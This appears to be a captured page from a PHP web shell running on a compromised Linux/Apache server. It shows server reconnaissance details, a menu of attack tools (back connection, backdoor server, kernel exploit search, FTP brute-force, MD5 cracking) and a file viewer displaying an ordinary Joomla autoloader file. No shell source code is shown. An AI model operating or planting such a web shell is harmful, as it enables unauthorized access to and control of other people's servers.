|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 24.86 GB of 70.42 GB (35.3%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
http/
guitar.1/
libraries/
cms/
- drwxr-xr-x
|
Viewing file: cmsloader.php (1.74 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
<?php /** * @package Joomla.Libraries * * @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */
defined('JPATH_PLATFORM') or die;
/** * Static class to handle loading of CMS libraries. * * @package Joomla.Libraries * @since 2.5 */ abstract class JCmsLoader extends JLoader { /** * Method to setup the autoloaders for the Joomla CMS. Since the SPL autoloaders are * called in a queue we will add our explicit, class-registration based loader first, then * fall back on the autoloader based on conventions. This will allow people to register a * class in a specific location and override platform libraries as was previously possible. * * @return void * * @since 2.5 */ public static function setup() { spl_autoload_register(array('JCmsLoader', '_autoload')); }
/** * Autoload a Joomla library class based on name. * * @param string $class The class to be loaded. * * @return void * * @since 2.5 */ private static function _autoload($class) { // Only attempt autoloading if we are dealing with a Joomla Platform class. if ($class[0] == 'J') { // Split the class name (without the J) into parts separated by camelCase. $parts = preg_split('/(?<=[a-z])(?=[A-Z])/x', substr($class, 1));
// If there is only one part we want to duplicate that part for generating the path. $parts = (count($parts) === 1) ? array($parts[0], $parts[0]) : $parts;
// Generate the path based on the class name parts. $path = JPATH_PLATFORM . '/cms/' . implode('/', array_map('strtolower', $parts)) . '.php';
// Load the file if it exists. if (file_exists($path)) { include $path; } } } }
|